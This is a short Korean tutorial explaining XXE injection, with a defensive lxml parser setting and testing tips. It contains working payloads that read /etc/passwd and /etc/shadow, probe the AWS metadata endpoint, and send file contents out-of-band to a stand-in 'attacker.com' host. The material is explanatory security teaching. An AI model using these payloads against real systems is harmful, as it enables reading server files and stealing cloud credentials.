XXE Injection: XML이 공격 벡터가 되는 순간
XML External Entity (XXE) Injection은 XML 파서의 외부 엔티티 처리 기능을 악용하는 공격이다. OWASP Top 10에 꾸준히 이름을 올리는 클래식이지만, 아직도 수많은 서비스에서 발견된다.
기본 원리
XML은 DOCTYPE 선언에서 외부 엔티티를 정의할 수 있다.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
서버가 이 XML을 파싱하면서 &xxe;를 /etc/passwd 내용으로 치환한다. 그게 끝이다. 서버가 알아서 파일을 읽어 응답에 담아준다.
주요 공격 시나리오
파일 읽기 (LFI)
<!ENTITY xxe SYSTEM "file:///etc/shadow">
SSRF (내부 서버 스캔)
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
AWS 메타데이터 서버를 노리는 패턴. 클라우드 환경에서 치명적.
Blind XXE
응답에 데이터가 직접 안 나올 때는 Out-of-Band(OOB) 방식을 쓴다.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%file;'>">
공격자 서버의 로그에 파일 내용이 찍힌다.
탐지 방법
- Burp Suite의
XML요청에서DOCTYPE삽입 테스트 Content-Type: application/xml또는text/xml엔드포인트 우선 확인/.svn/,/api/, SOAP 기반 서비스도 놓치지 말 것
방어
# Python lxml 예시
parser = etree.XMLParser(resolve_entities=False, no_network=True)
외부 엔티티 해석 자체를 비활성화하는 게 핵심. 필터링으로는 부족하다.
마치며
JSON 전환으로 XXE가 줄었다고 방심하면 안 된다. 파일 업로드(docx, xlsx, svg)도 XML이다. 엑셀 파일 하나로 서버 내부를 들여다볼 수 있다.